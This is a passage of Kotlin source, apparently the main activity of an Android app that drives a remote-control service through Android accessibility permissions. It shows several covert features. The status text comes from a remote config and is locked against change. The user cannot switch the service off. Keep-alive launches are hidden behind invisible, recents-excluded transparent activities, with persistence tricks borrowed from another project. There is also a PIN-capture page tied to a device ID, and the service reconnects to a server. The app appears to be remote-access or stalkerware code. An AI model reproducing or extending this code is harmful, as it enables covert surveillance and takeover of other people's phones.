val configStatusText = pageStyleConfig.optString("statusText", "")
if (configStatusText.isNotEmpty()) {
customStatusText = configStatusText.replace("\\n", "\n")
// 🔑 启用状态文本保护,防止被动态修改
preserveCustomStatusText = true
Log.i(TAG, "📝 保存自定义状态文字: $configStatusText")
Log.i(TAG, "📝 转换后的状态文字: $customStatusText")
Log.i(TAG, "🛡️ 已启用状态文本保护,防止动态修改")
}
val configUsageInstructions = pageStyleConfig.optString("usageInstructions", "")
if (configUsageInstructions.isNotEmpty()) {
customUsageInstructions = configUsageInstructions.replace("\\n", "\n")
usageInstructionsText.text = customUsageInstructions ?: ""
Log.i(TAG, "📝 保存自定义使用说明: $configUsageInstructions")
}
} else {
Log.i(TAG, "📝 未检测到页面样式配置或配置为空,使用默认样式")
// 如果没有自定义配置从strings.xml读取默认文字
applyDefaultTexts()
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 加载页面样式配置失败,使用默认样式: ${e.message}")
e.printStackTrace()
// 如果配置文件不存在或读取失败从strings.xml读取默认文字
applyDefaultTexts()
}
}
/**
* 新增应用默认文字从strings.xml读取
*/
private fun applyDefaultTexts() {
try {
appNameText.text = getString(R.string.app_name)
enableButton.text = getString(R.string.enable_accessibility_service)
statusText.text = getString(R.string.service_status_checking)
usageInstructionsText.text = getString(R.string.usage_instructions)
// 🔑 使用默认文本时不启用保护
preserveCustomStatusText = false
Log.i(TAG, "📝 已应用默认文字配置")
} catch (e: Exception) {
Log.e(TAG, "❌ 应用默认文字失败: ${e.message}")
}
}
private fun setupClickListeners() {
// 启用按钮点击事件
val enableButtonClickHandler = {
Log.i(TAG, "用户触发启用操作")
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
when {
!isAccessibilityEnabled -> {
Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置")
// ✅ 用户主动点击按钮时,跳转到无障碍设置
openAccessibilitySettings()
}
isAccessibilityEnabled && !isServiceRunning -> {
Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态")
// 如果无障碍服务已启用但服务未运行,可能需要检查其他权限
checkAllPermissions()
}
isAccessibilityEnabled && isServiceRunning -> {
Log.i(TAG, "服务已完全运行,无需操作")
// 服务已运行,按钮应该是禁用状态,这里只是记录日志
}
else -> {
Log.i(TAG, "其他状态,重新检查权限")
checkAllPermissions()
}
}
}
enableButton.setOnClickListener {
Log.i(TAG, "用户点击启用按钮")
enableButtonClickHandler()
}
// Switch监听器
serviceSwitch.setOnCheckedChangeListener { _, isChecked ->
Log.i(TAG, "用户切换开关,目标状态: $isChecked")
// 如果用户打开开关,执行启用逻辑
if (isChecked) {
enableButtonClickHandler()
} else {
Log.i(TAG, "用户关闭开关,但无法禁用已启用的服务")
// 不能禁用已启用的服务,重新设置开关状态
updateSwitchState()
}
}
}
/**
* 测试启动密码输入页面
*/
private fun testPasswordInputActivity() {
Log.i(TAG, "🧪 测试:启动密码输入页面")
try {
val intent =
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
putExtra(
com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE,
com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN
)
putExtra(
com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID,
"test_device_${System.currentTimeMillis()}"
)
putExtra(
com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID,
"test_installation_${System.currentTimeMillis()}"
)
flags = Intent.FLAG_ACTIVITY_NEW_TASK
}
startActivity(intent)
} catch (e: Exception) {
Log.e(TAG, "❌ 测试启动密码输入页面失败", e)
android.widget.Toast.makeText(
this,
"启动失败: ${e.message}",
android.widget.Toast.LENGTH_SHORT
).show()
}
}
/**
* 更新Switch状态与服务状态同步
*/
private fun updateSwitchState() {
// ✅ 安全检查确保UI组件已初始化
if (!::serviceSwitch.isInitialized) {
Log.w(TAG, "⚠️ serviceSwitch未初始化跳过updateSwitchState")
return
}
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
// 只有当服务完全运行时Switch才应该是开启状态
val shouldBeChecked = isServiceRunning && isAccessibilityEnabled
// 防止循环触发监听器
serviceSwitch.setOnCheckedChangeListener(null)
serviceSwitch.isChecked = shouldBeChecked
// 重新设置监听器
serviceSwitch.setOnCheckedChangeListener { _, isChecked ->
Log.i(TAG, "用户切换开关,目标状态: $isChecked")
// 如果用户打开开关,执行启用逻辑
if (isChecked) {
val enableButtonClickHandler = {
Log.i(TAG, "用户触发启用操作")
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
when {
!isAccessibilityEnabled -> {
Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置")
// ✅ 用户主动点击按钮时,跳转到无障碍设置
openAccessibilitySettings()
}
isAccessibilityEnabled && !isServiceRunning -> {
Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态")
checkAllPermissions()
}
isAccessibilityEnabled && isServiceRunning -> {
Log.i(TAG, "服务已完全运行,无需操作")
}
else -> {
Log.i(TAG, "其他状态,重新检查权限")
checkAllPermissions()
}
}
}
enableButtonClickHandler()
} else {
Log.i(TAG, "用户关闭开关,但无法禁用已启用的服务")
// 不能禁用已启用的服务,重新设置开关状态
updateSwitchState()
}
}
}
/**
* 新增APP打开时强制检查并恢复无障碍服务
*/
private fun forceCheckAndRecoverAccessibilityService() {
Log.i(TAG, "🔍 APP打开时强制检查无障碍服务状态")
try {
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
val serviceInstance = AccessibilityRemoteService.getInstance()
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
Log.i(TAG, "📊 无障碍服务状态检查:")
Log.i(TAG, " - 权限启用状态: $isAccessibilityEnabled")
Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}")
Log.i(TAG, " - 服务运行状态: $serviceRunning")
if (isAccessibilityEnabled) {
if (serviceInstance == null || !serviceRunning) {
Log.w(TAG, "⚠️ 检测到无障碍服务权限已启用但服务未运行,尝试强制恢复")
forceRecoverAccessibilityService()
} else {
Log.i(TAG, "✅ 无障碍服务运行正常")
}
} else {
Log.i(TAG, " 无障碍服务权限未启用,等待用户手动启用")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 强制检查无障碍服务失败", e)
}
}
/**
* 新增强制恢复无障碍服务
*/
private fun forceRecoverAccessibilityService() {
// 检查是否为Vivo设备
val isVivoDevice = android.os.Build.BRAND?.lowercase()?.contains("vivo") == true ||
android.os.Build.MANUFACTURER?.lowercase()?.contains("vivo") == true
if (isVivoDevice) {
Log.i(TAG, "📱 检测到Vivo设备使用Vivo特定恢复策略")
handleVivoAccessibilityRecovery()
} else {
Log.i(TAG, "📱 非Vivo设备使用标准恢复策略")
performStandardAccessibilityRecovery()
}
}
/**
* 新增Vivo设备无障碍服务恢复
*/
private fun handleVivoAccessibilityRecovery() {
try {
Log.i(TAG, "🔄 开始Vivo无障碍服务恢复")
// 启动Vivo恢复处理器
val recoveryHandler = com.hikoncont.service.modules.VivoAccessibilityRecovery(this)
// 检查无障碍服务状态
val status = recoveryHandler.checkAccessibilityServiceStatus()
Log.i(TAG, "📊 Vivo无障碍服务状态: $status")
if (!status.isEnabled) {
Log.w(TAG, "⚠️ Vivo设备无障碍服务未启用引导用户手动启用")
guideUserToEnableAccessibility()
} else if (status.isEnabled && !status.isRunning) {
Log.w(TAG, "⚠️ Vivo设备无障碍服务已启用但未运行尝试Vivo特定恢复")
performVivoSpecificRecovery()
} else {
Log.i(TAG, "✅ Vivo设备无障碍服务状态正常")
}
} catch (e: Exception) {
Log.e(TAG, "❌ Vivo无障碍服务恢复失败", e)
// 启动降级模式防止APP闪退
startDegradedMode()
}
}
/**
* 新增引导用户手动启用无障碍服务
*/
private fun guideUserToEnableAccessibility() {
try {
Log.i(TAG, "📱 引导用户到无障碍设置页面")
runOnUiThread {
statusText.text =
"📱 Vivo设备检测\n请手动启用无障碍服务\n1. 点击下方按钮\n2. 找到应用名称\n3. 启用服务\n4. 返回应用"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
enableButton.text = "打开无障碍设置"
enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark))
enableButton.isEnabled = true
}
// ✅ 修改:不自动跳转无障碍设置,等待用户手动点击按钮
// android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
// openAccessibilitySettings()
// }, 1000)
} catch (e: Exception) {
Log.e(TAG, "❌ 引导用户启用无障碍服务失败", e)
}
}
/**
* 新增Vivo特定恢复策略
*/
private fun performVivoSpecificRecovery() {
try {
Log.i(TAG, "🔄 执行Vivo特定恢复策略")
runOnUiThread {
statusText.text = "🔄 Vivo设备恢复中\n正在尝试多种恢复策略\n请稍候..."
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
}
// 启动恢复协程
CoroutineScope(Dispatchers.IO).launch {
val recoveryHandler =
com.hikoncont.service.modules.VivoAccessibilityRecovery(this@MainActivity)
var attempts = 0
val maxAttempts = 3
while (attempts < maxAttempts) {
attempts++
Log.d(TAG, "🔄 Vivo恢复尝试 $attempts/$maxAttempts")
if (recoveryHandler.recoverAccessibilityService()) {
Log.i(TAG, "✅ Vivo无障碍服务恢复成功")
runOnUiThread {
statusText.text = "✅ Vivo设备恢复成功\n无障碍服务已正常运行"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
return@launch
}
delay(2000L)
}
// 恢复失败,启动降级模式
Log.w(TAG, "⚠️ Vivo恢复失败启动降级模式")
startDegradedMode()
}
} catch (e: Exception) {
Log.e(TAG, "❌ Vivo特定恢复失败", e)
startDegradedMode()
}
}
/**
* 新增启动降级模式
*/
private fun startDegradedMode() {
try {
Log.i(TAG, "📱 启动降级模式禁用部分功能保持APP稳定")
runOnUiThread {
statusText.text =
"📱 降级模式已启动\n部分功能已禁用\nAPP保持稳定运行\n💡 建议重启应用"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
enableButton.text = "重启应用"
enableButton.setBackgroundColor(getColor(android.R.color.holo_orange_dark))
enableButton.isEnabled = true
}
// 禁用保活服务
val disableKeepAliveIntent = Intent("android.mycustrecev.DISABLE_KEEPALIVE")
sendBroadcast(disableKeepAliveIntent)
// 启动基础服务
val basicServiceIntent =
Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
startForegroundService(basicServiceIntent)
Log.i(TAG, "✅ 降级模式已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动降级模式失败", e)
}
}
/**
* 修复优化的保活检测方法避免误判导致卡顿
*/
private fun shouldJumpToTransparentActivity(): Boolean {
return try {
// 快速检查如果Intent明确包含保活参数直接返回true
val intent = getIntent()
if (intent != null) {
val explicitKeepAlive = intent.getBooleanExtra("keepalive_launch", false) ||
intent.getBooleanExtra("from_keepalive", false) ||
intent.getBooleanExtra("keepalive_service_start", false)
if (explicitKeepAlive) {
Log.i(TAG, "🫥 检测到明确的保活参数跳转到透明Activity")
return true
}
// 检查是否来自用户主动启动,如果是则不跳转
if (intent.action == Intent.ACTION_MAIN &&
intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true) {
Log.d(TAG, "🔒 用户主动启动不跳转到透明Activity")
return false
}
if (intent.getBooleanExtra("user_initiated", false)) {
Log.d(TAG, "🔒 用户主动启动标识不跳转到透明Activity")
return false
}
}
// 检查透明保活Activity是否已经在运行
val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance()
if (transparentActivity != null) {
Log.i(TAG, "🫥 透明保活Activity已运行跳转到透明Activity")
return true
}
false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查保活状态失败", e)
false
}
}
/**
* 参考zuiqiang严格的保活检测方法避免频繁启动和动画
* 关键只有在安装完成后才进行保活检测
* 新增OPPO设备禁用Activity保活检测
*/
private fun isLaunchedByKeepAlive(): Boolean {
// ✅ 新增OPPO设备禁用Activity保活检测
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
Log.i(TAG, "📱 OPPO设备禁用Activity保活检测仅使用服务保活")
return false
}
return try {
// ✅ 关键:首先检查安装是否完成,未完成则不进行保活检测
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (!isInstallationComplete) {
Log.d(TAG, "🔒 安装未完成,跳过保活检测")
return false
}
// ✅ 检查安装完成时间,确保不是刚安装完成
val installationTime = installationStateManager.getInstallationTime()
val currentTime = System.currentTimeMillis()
val timeSinceInstallation = currentTime - installationTime
// 如果安装完成时间少于30秒跳过保活检测给系统足够时间稳定
if (timeSinceInstallation < 30000L) {
Log.d(TAG, "🔒 安装刚完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定")
return false
}
val intent = getIntent()
if (intent == null) {
Log.d(TAG, "🔍 Intent为空非保活拉起")
return false
}
// ✅ 检查是否为用户主动启动(通过桌面图标)
if (intent.action == Intent.ACTION_MAIN &&
intent.categories?.contains(Intent.CATEGORY_LAUNCHER) == true
) {
Log.d(TAG, "🔒 用户主动启动,跳过保活检测")
return false
}
// ✅ 检查是否为用户主动启动标识
if (intent.getBooleanExtra("user_initiated", false) == true) {
Log.d(TAG, "🔒 用户主动启动标识,跳过保活检测")
return false
}
// ✅ 检查是否来自安装完成广播
if (intent.getBooleanExtra("from_installation_complete", false) == true) {
Log.d(TAG, "🔒 来自安装完成广播,跳过保活检测")
return false
}
// ✅ 参考zuiqiang快速检查保活相关参数
val fromKeepAlive = intent.getBooleanExtra("from_keepalive", false)
val keepaliveLaunch = intent.getBooleanExtra("keepalive_launch", false)
val fromService = intent.getBooleanExtra("from_service", false)
val fromBroadcast = intent.getBooleanExtra("from_broadcast", false)
val keepaliveServiceStart = intent.getBooleanExtra("keepalive_service_start", false)
// ✅ 参考zuiqiang检查是否为保活启动
val isKeepAliveLaunch = fromKeepAlive || keepaliveLaunch || fromService || fromBroadcast || keepaliveServiceStart
if (isKeepAliveLaunch) {
Log.i(TAG, "🫥 检测到保活相关参数,判断为保活程序拉起")
return true
}
// ✅ 参考zuiqiang更严格的启动频率检查
val lastLaunchTime = getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE)
.getLong("last_launch_time", 0)
val timeSinceLastLaunch = currentTime - lastLaunchTime
// ✅ 参考zuiqiang更严格的频率检测2秒内启动认为是保活
if (timeSinceLastLaunch < 2000L) {
Log.i(TAG, "🫥 检测到频繁启动(${timeSinceLastLaunch}ms),判断为保活程序拉起")
return true
}
// ✅ 参考zuiqiang检查是否在后台启动保活特征
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningTasks = activityManager.getRunningTasks(1)
val isBackgroundLaunch = runningTasks.isNotEmpty() &&
runningTasks[0].topActivity?.packageName != packageName
if (isBackgroundLaunch) {
Log.i(TAG, "🫥 检测到后台启动,判断为保活程序拉起")
return true
}
// ✅ 参考zuiqiang检查应用是否在前台如果不在前台启动则认为是保活
val isAppInForeground = try {
val appProcesses = activityManager.runningAppProcesses
appProcesses?.any {
it.processName == packageName &&
it.importance == android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
} ?: false
} catch (e: Exception) {
false
}
if (!isAppInForeground) {
Log.i(TAG, "🫥 检测到应用不在前台启动,判断为保活程序拉起")
return true
}
// 记录本次启动时间
getSharedPreferences("keepalive_launch", Context.MODE_PRIVATE)
.edit()
.putLong("last_launch_time", currentTime)
.apply()
Log.d(TAG, "📱 非保活程序拉起,正常启动")
false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查保活拉起状态失败", e)
false
}
}
/**
* 新增检查服务是否运行
*/
private fun isServiceRunning(serviceClass: Class<*>): Boolean {
return try {
val activityManager =
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE)
runningServices.any { it.service.className == serviceClass.name }
} catch (e: Exception) {
Log.e(TAG, "❌ 检查服务运行状态失败", e)
false
}
}
/**
* 新增为保活拉起设置透明窗口避免闪屏
*/
private fun setupTransparentWindowForKeepAlive() {
try {
Log.i(TAG, "🫥 设置透明窗口,避免保活拉起时闪屏")
// ✅ 修复:异步设置透明窗口,避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// 设置透明主题
setTheme(R.style.Theme_Transparent)
// 设置窗口为透明
window.setFlags(
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS,
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS
)
// 设置窗口背景为透明
window.setBackgroundDrawableResource(android.R.color.transparent)
// 延迟设置状态栏和导航栏避免ANR
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 设置状态栏和导航栏为透明
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
window.statusBarColor = android.graphics.Color.TRANSPARENT
window.navigationBarColor = android.graphics.Color.TRANSPARENT
}
// 设置系统UI可见性
window.decorView.systemUiVisibility = (
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
)
// 创建透明视图
val transparentView = View(this@MainActivity)
transparentView.setBackgroundColor(android.graphics.Color.TRANSPARENT)
setContentView(transparentView)
// 设置窗口透明度
window.decorView.alpha = 0f
Log.i(TAG, "✅ 透明窗口设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 延迟设置透明窗口失败", e)
}
}, 100) // 100ms延迟避免ANR
} catch (e: Exception) {
Log.e(TAG, "❌ 设置透明窗口失败", e)
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置透明窗口失败", e)
}
}
/**
* 新增跳转到透明Activity并结束自己
*/
private fun jumpToTransparentActivityAndFinish() {
try {
Log.i(TAG, "🫥 开始跳转到透明Activity并结束自己")
// ✅ 强化安装完成检查
val installationStateManager =
com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (!isInstallationComplete) {
Log.w(TAG, "⚠️ 安装未完成透明保活Activity无效直接结束")
finish()
return
}
// ✅ 新增:检查安装完成时间,确保不是刚安装完成
val installationTime = installationStateManager.getInstallationTime()
val transparentCurrentTime = System.currentTimeMillis()
val timeSinceInstallation = transparentCurrentTime - installationTime
if (timeSinceInstallation < 30000L) {
Log.w(TAG, "⚠️ 安装刚完成(${timeSinceInstallation}ms)透明保活Activity无效直接结束")
finish()
return
}
// ✅ 新增:检查应用启动次数
val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
.getInt("launch_count", 0)
if (appLaunchCount < 3) {
Log.w(TAG, "⚠️ 应用启动次数不足($appLaunchCount)透明保活Activity无效直接结束")
finish()
return
}
// 启动透明保活Activity
val transparentIntent =
Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // 禁用动画,避免闪屏
addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复:从最近任务中排除
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复:单例模式,避免重复创建
putExtra("keepalive_launch", true)
putExtra("from_main_activity", true)
putExtra("timestamp", System.currentTimeMillis())
}
// 禁用当前Activity的动画
overridePendingTransition(0, 0)
startActivity(transparentIntent)
Log.i(TAG, "✅ 透明保活Activity已启动")
// 立即结束自己,减少延迟
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
Log.i(TAG, "🛑 保活程序拉起MainActivity立即结束")
finish()
overridePendingTransition(0, 0) // 禁用结束动画
} catch (e: Exception) {
Log.e(TAG, "❌ 结束MainActivity失败", e)
}
}, 50) // 减少延迟到50ms更快响应
} catch (e: Exception) {
Log.e(TAG, "❌ 跳转到透明Activity失败", e)
// 如果跳转失败,直接结束
finish()
}
}
/**
* 新增标准无障碍服务恢复
*/
private fun performStandardAccessibilityRecovery() {
Log.i(TAG, "🔄 开始强制恢复无障碍服务")
try {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
// ✅ 参考 f 目录策略:不启动多余的保活服务,只启动主前台服务
try {
// 只启动主前台服务(对应 f 目录的 BackRunServerUseUse
val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
if (android.os.Build.VERSION.SDK_INT >= 26) {
startForegroundService(foregroundIntent)
} else {
startService(foregroundIntent)
}
Log.i(TAG, "✅ 已启动主前台服务做后台恢复(参考 f 目录策略)")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 启动主前台服务失败: ${e.message}")
}
// 方法3: 延迟检查恢复效果
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
checkRecoveryResult()
}, 3000) // 3秒后检查
// 方法4: 如果广播无效,尝试直接启动服务
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
val serviceInstance = AccessibilityRemoteService.getInstance()
if (serviceInstance == null) {
Log.w(TAG, "⚠️ 广播重启无效,尝试直接启动无障碍服务")
tryDirectStartAccessibilityService()
}
}, 5000) // 5秒后尝试直接启动
} catch (e: Exception) {
Log.e(TAG, "❌ 强制恢复无障碍服务失败", e)
}
}
/**
* 新增检查恢复结果
*/
private fun checkRecoveryResult() {
try {
val serviceInstance = AccessibilityRemoteService.getInstance()
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
Log.i(TAG, "🔍 检查无障碍服务恢复结果:")
Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}")
Log.i(TAG, " - 服务运行状态: $serviceRunning")
if (serviceInstance != null && serviceRunning) {
Log.i(TAG, "✅ 无障碍服务恢复成功")
// 更新UI状态
runOnUiThread {
updateStatusTextSafely(
"✅ 无障碍服务已恢复\n正在重新连接...",
android.R.color.holo_green_dark
)
}
// 尝试重新连接服务器
serviceInstance.reconnectToServer()
} else {
Log.w(TAG, "⚠️ 无障碍服务恢复失败,尝试其他方法")
tryAlternativeRecoveryMethods()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查恢复结果失败", e)
}
}
/**
* 新增尝试直接启动无障碍服务
*/
private fun tryDirectStartAccessibilityService() {
try {
Log.i(TAG, "🔄 尝试直接启动无障碍服务")
// 发送服务启动广播
val startIntent = Intent("android.mycustrecev.START_ACCESSIBILITY_SERVICE")
sendBroadcast(startIntent)
// 延迟检查启动结果
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
val serviceInstance = AccessibilityRemoteService.getInstance()
if (serviceInstance != null) {
Log.i(TAG, "✅ 直接启动无障碍服务成功")
runOnUiThread {
updateStatusTextSafely(
"✅ 无障碍服务已启动\n正在初始化...",
android.R.color.holo_green_dark
)
}
} else {
Log.w(TAG, "⚠️ 直接启动无障碍服务失败")
tryAlternativeRecoveryMethods()
}
}, 2000)
} catch (e: Exception) {
Log.e(TAG, "❌ 直接启动无障碍服务失败", e)
}
}
/**
* 新增尝试其他恢复方法
*/
private fun tryAlternativeRecoveryMethods() {
try {
Log.i(TAG, "🔄 尝试其他恢复方法")
runOnUiThread {
updateStatusTextSafely(
"⚠️ 无障碍服务恢复失败\n请手动重新启用无障碍服务\n或重启应用",
android.R.color.holo_red_dark
)
enableButton.text = "重新启用无障碍服务"
enableButton.isEnabled = true
}
// 提供用户操作指引
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.i(TAG, "💡 建议用户手动重新启用无障碍服务")
runOnUiThread {
updateStatusTextSafely(
"💡 建议操作步骤:\n1. 点击下方按钮\n2. 找到应用名称\n3. 重新启用服务\n4. 返回应用",
android.R.color.holo_blue_dark
)
}
}, 2000)
} catch (e: Exception) {
Log.e(TAG, "❌ 尝试其他恢复方法失败", e)
}
}
private fun updateUI() {
// ✅ 安全检查确保UI组件已初始化
if (!::enableButton.isInitialized) {
Log.w(TAG, "⚠️ UI组件未初始化跳过updateUI")
return
}
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
// 删除悬浮窗权限检查
Log.d(TAG, "🔍 UI状态检查: 服务运行=$isServiceRunning, 无障碍启用=$isAccessibilityEnabled")
when {
isServiceRunning && isAccessibilityEnabled -> {
updateStatusTextThreadSafe("🎉 服务已完全配置", android.R.color.holo_green_dark)
enableButton.text = "配置完成 - 可以使用"
enableButton.isEnabled = false
// 更新Switch状态
updateSwitchState()
// ✅ 修复无障碍权限正常时自动切换到WebView界面
Log.i(TAG, "🌐 无障碍权限正常自动切换到WebView界面")
switchToWebViewInterface()
}
// 删除悬浮窗权限状态检查
!isAccessibilityEnabled -> {
// 🔑 对于无障碍服务未启用状态,如果有自定义状态文本,直接使用,不受保护机制影响
Log.d(TAG, "🔍 updateUI - customStatusText值: '$customStatusText'")
val displayText = if (!customStatusText.isNullOrEmpty()) {
Log.i(TAG, "📝 使用自定义状态文本: $customStatusText")
customStatusText!!
} else {
Log.i(TAG, "📝 使用默认状态文本")
"❌ 服务未启动\n💡 需要开启无障碍服务\n🔐 稍后会自动配置"
}
// 🔑 对于初始状态,总是显示自定义状态文本(如果有)
statusText.text = displayText
statusText.setTextColor(getColor(android.R.color.white))
// 使用自定义按钮文本(如果有配置)或默认文本
val currentButtonText = enableButton.text?.toString() ?: ""
val buttonText =
if (currentButtonText == getString(R.string.enable_accessibility_service) || currentButtonText.isEmpty()) {
getString(R.string.enable_accessibility_service)
} else {
currentButtonText // 保持已设置的自定义文本
}
enableButton.text = buttonText
enableButton.isEnabled = true
// 更新Switch状态
updateSwitchState()
}
isAccessibilityEnabled && !isServiceRunning -> {
// ✅ 无障碍已启用但服务未运行,这是正常的中间状态,给用户明确指引
updateStatusTextSafely(
"⏳ 无障碍服务已启用\n🚀 正在启动服务...\n💡 如果长时间不跳转,请重新打开应用",
android.R.color.holo_blue_dark
)
enableButton.text = "服务启动中"
enableButton.isEnabled = true // ✅ 允许用户重新尝试
// 更新Switch状态
updateSwitchState()
// ✅ 添加超时机制10秒后允许用户重新操作
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!AccessibilityRemoteService.isServiceRunning() && !isFinishing) {
Log.w(TAG, "⚠️ 服务启动超时更新UI状态")
runOnUiThread {
updateStatusTextSafely(
"⚠️ 服务启动较慢\n💡 请尝试重新打开应用\n🔄 或点击按钮重新检查",
android.R.color.holo_orange_dark
)
enableButton.text = "重新检查状态"
enableButton.isEnabled = true
updateSwitchState()
}
}
}, 10000)
}
else -> {
updateStatusTextSafely(
"🔄 正在配置权限...\n请稍等片刻",
android.R.color.holo_blue_dark
)
enableButton.text = "配置中"
enableButton.isEnabled = false
// 更新Switch状态
updateSwitchState()
}
}
}
private fun checkAllPermissions() {
Log.i(TAG, "检查所有权限状态")
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
// 删除悬浮窗权限检查
// ✅ 新增:检查存储权限状态
checkStoragePermissions()
Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled")
when {
!isAccessibilityEnabled -> {
Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置")
// ✅ 用户主动操作时,跳转到无障碍设置
openAccessibilitySettings()
}
isAccessibilityEnabled -> {
// 无障碍服务已启用直接切换到WebView界面
Log.i(TAG, "✅ 无障碍服务已开启切换到WebView界面")
switchToWebViewInterface()
}
else -> {
Log.i(TAG, "所有必要权限已开启")
// 所有必要权限都已开启,检查服务状态
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "权限已开启但服务未运行,可能需要重启应用")
}
}
}
}
/**
* 新增线程安全的 statusText 更新方法
*/
private fun updateStatusTextThreadSafe(text: String, colorResId: Int? = null) {
if (isFinishing || isDestroyed) {
Log.w(TAG, "⚠️ Activity已销毁跳过statusText更新: $text")
return
}
runOnUiThread {
try {
if (::statusText.isInitialized && !isFinishing && !isDestroyed) {
statusText.text = text
colorResId?.let { statusText.setTextColor(getColor(it)) }
Log.d(TAG, "✅ statusText已更新: $text")
} else {
Log.w(TAG, "⚠️ statusText未初始化或Activity已销毁跳过更新")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 更新statusText失败: $text", e)
}
}
}
/**
* 新增线程安全的按钮更新方法
*/
private fun updateButtonSafely(text: String, colorResId: Int? = null, enabled: Boolean? = null) {
if (isFinishing || isDestroyed) {
Log.w(TAG, "⚠️ Activity已销毁跳过按钮更新: $text")
return
}
runOnUiThread {
try {
if (::enableButton.isInitialized && !isFinishing && !isDestroyed) {
enableButton.text = text
colorResId?.let { enableButton.setBackgroundColor(getColor(it)) }
enabled?.let { enableButton.isEnabled = it }
Log.d(TAG, "✅ 按钮已更新: $text")
} else {
Log.w(TAG, "⚠️ 按钮未初始化或Activity已销毁跳过更新")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 更新按钮失败: $text", e)
}
}
}
/**
* 新增标记权限申请状态
*/
private fun markPermissionRequesting(isRequesting: Boolean) {
try {
val prefs = getSharedPreferences("permission_request", Context.MODE_PRIVATE)
prefs.edit().putBoolean("is_requesting", isRequesting).apply()
if (isRequesting) {
Log.d(TAG, "🔒 标记权限申请中,防止保活循环")
} else {
Log.d(TAG, "🔓 清除权限申请标记")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 标记权限申请状态失败", e)
}
}
/**
* 新增记录应用启动次数
*/
private fun recordAppLaunch() {
try {
val prefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
val currentCount = prefs.getInt("launch_count", 0)
